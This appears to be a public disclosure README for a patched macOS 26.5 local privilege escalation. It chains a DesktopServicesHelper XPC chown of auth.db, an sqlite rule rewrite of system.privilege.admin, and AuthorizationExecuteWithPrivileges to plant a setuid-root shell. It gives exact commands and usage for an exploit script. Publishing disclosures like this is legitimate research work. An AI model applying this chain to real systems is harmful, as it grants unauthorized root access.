root your macOS in ~2 seconds.
Discovered and end-to-end verified by our autonomous agent on 2026-07-18.
| Affected | macOS < 26.6 (verified on 26.5.2 / build 25F84, arm64, SIP on) |
| Fixed | macOS 26.6 — fix is present, but the public advisory does not enumerate this LPE |
| Severity | High — unprivileged user → root, no user interaction |
| Type | Logic / composition LPE (XPC trust assumption + live config read) |
| Components | DesktopServicesHelper (DSH) · securityd · security_authtrampoline |
| Disclosure | Independently reported to Apple; no CVE, no credit granted |
Full unprivileged-user → root run on macOS 26.5.2 (~2s, no GUI prompt): lpe.mov
lpe.mov
We tested the PoC on macOS 26.5.2 which is the latest production version at that time, and responsibly reported this issue to Apple Product Security with the full chain and a self-contained PoC on July 18. Apple confirmed the underlying bug had already been fixed in a macOS 26.6 beta from mid-June 2026 and declined to assign a CVE or grant credit. macOS 26.6 ships the fix, but its advisory lists only a DSH-related Gatekeeper bypass — this specific DSH LPE is not enumerated, and there is no CVE or credit for it. This repository documents the issue for the public record.
An unprivileged user can gain root by chaining two native system components that are each "correct" in isolation but dangerous in composition:
-
DesktopServicesHelperexposes aRepairPermissionsForCloudItemsXPC handler (sub_100022574@0x100022574, in/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper) that performsopen(O_SYMLINK)+fchown(fd, caller_euid, …)on caller-supplied paths with no path-containment check and no entitlement gate. Its dispatcher gate (sub_1000322D0) only verifiessandbox_check_by_audit_token == true, which any unprivileged process can satisfy viasandbox_init(kSBXProfileNoInternet)— the gate wrongly assumes "sandboxed" means "Apple-blessed app sandbox." -
securitydreads/private/var/db/auth.dblive on everyAuthorizationCopyRightscall and assumes the file is root-only-writable, without re-verifyingst_uid == 0on open.
The chain: chown auth.db (+ -wal, -shm) from root to the attacker via (1) → sqlite3 UPDATE rules SET class=4 WHERE name='system.privilege.admin' → securityd now serves the rule as allow (live, no restart) → AuthorizationExecuteWithPrivileges spawns security_authtrampoline (root), which posix_spawn's the attacker's command as euid=0 with no GUI prompt → drop a setuid-root shell → uid=0(root) gid=0(wheel).
- Binary:
/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper - XPC service:
com.apple.DesktopServicesHelper - Handler:
sub_100022574@0x100022574— theRepairPermissionsForCloudItemsrequest handler. - Behavior: for each caller-supplied path it does
open(path, O_SYMLINK)thenfchown(fd, caller_euid, original_gid). The handler exists to repair iCloud-Drive item ownership, but performs no iCloud-Drive-container path check on the supplied paths and has no entitlement gate. - Effect: any non-SIP, root-owned file on the system can be chowned to the caller's uid by an unprivileged process.
Bypassing the dispatcher gate (sub_1000322D0):
The handler's only protection is the dispatcher gate, which checks sandbox_check_by_audit_token == true and interprets a positive result as "the caller is an Apple-blessed, app-sandboxed process." That assumption is spoofable: any unprivileged process can call
sandbox_init(kSBXProfileNoInternet, SANDBX_NAMED, &err);to set the audit-token sandbox flag the gate keys on. With the flag set, the request is dispatched to sub_100022574, which then chowns arbitrary caller-supplied paths.
securitydreads/private/var/db/auth.dbon everyAuthorizationCopyRightsinvocation and treats the database as authoritative.- It assumes
auth.dbis root-only-writable and does not re-assertst_uid == 0(nor mode sanity) when it opens the file. - Therefore any mechanism that chowns
auth.db(+ its SQLite sidecar files-wal/-shm) to the attacker entirely defeats the authorization framework: the attacker can rewrite any authorization rule, includingsystem.privilege.admin.
| Step | Action | Result |
|---|---|---|
| 1 | sandbox_init(kSBXProfileNoInternet) |
Audit-token sandbox flag set → DSH dispatcher gate satisfied |
| 2 | Send RepairPermissionsForCloudItems with auth.db, auth.db-wal, auth.db-shm |
DSH chowns all three from root → caller |
| 3 | sqlite3 auth.db "UPDATE rules SET class=4 WHERE name='system.privilege.admin'" (class=1/user → class=4/allow) |
securityd serves the rule as allow, live (no restart) |
| 4 | AuthorizationExecuteWithPrivileges("/bin/sh", ["-c", "<payload>"]) |
launchd spawns security_authtrampoline (root) → posix_spawn the payload as euid=0, no GUI prompt |
| 5 | Payload: chown root:wheel /tmp/future_rootshell && chmod 4755 /tmp/future_rootshell |
A setuid-root shell is installed |
| 6 | /tmp/future_rootshell -c 'id' |
uid=0(root) gid=0(wheel) |
| File | Description |
|---|---|
lpe.sh |
Self-contained exploit. Compiles three small helpers inline and runs the full chain. |
lpe.mov |
Screen recording of a successful unprivileged user → root run on macOS 26.5.2. |
apple-report.md |
The original report as submitted to Apple Product Security. |
# Pop an INTERACTIVE root shell (leaves the setuid rootshell + modified auth.db in place)
./lpe.sh
# Restore the system: revert the auth.db rule + ownership and remove the rootshell
./lpe.sh cleanup
./lpe.sh --helplpe.sh compiles three small programs inline — (a) a DesktopServicesHelper XPC client that performs the chown, (b) an AuthorizationExecuteWithPrivileges client, and (c) a setuid-root shell payload — then runs the chain described above. No external files, no kernel code, no binary modification. A successful run ends with:
uid=0(root) gid=0(wheel) groups=0(wheel)
root
Always run
./lpe.sh cleanupafterward to restoreauth.dbownership and thesystem.privilege.adminrule, and to remove the setuid rootshell. Test only on systems you own and are authorized to test.
sub_100022574(DesktopServicesHelper) chowns arbitrary non-SIP root-owned files to the caller's uid. The dispatcher gate (sub_1000322D0) relies onsandbox_check_by_audit_tokento mean "trusted Apple-sandboxed app," butsandbox_init(kSBXProfileNoInternet)satisfies it from any unprivileged process. There is no iCloud-Drive-container path check inside the handler.securitydtrustsauth.dbownership/integrity without re-verifyingst_uid == 0on open. Any mechanism that chownsauth.dbto the attacker defeats the authorization framework.- The two components are individually "correct," but their composition is an LPE: the chown primitive (designed for iCloud repair) was never considered as an
auth.dbattack vector whensecurityd's live-read design was set.
The PoC was developed and verified on the following machine:
| Model | MacBook Air (15-inch, 2023) — Mac14,15 |
| Chip | Apple M2 · 24 GB |
| Architecture | arm64 (Apple Silicon) |
| OS at test time | macOS 26.5.2 |
| SIP | enabled |
Provided for educational and authorized security research purposes only. The vulnerability described here is patched in macOS 26.6. Do not run the proof of concept against any system you do not own or are not explicitly authorized to test. We assume no liability for misuse.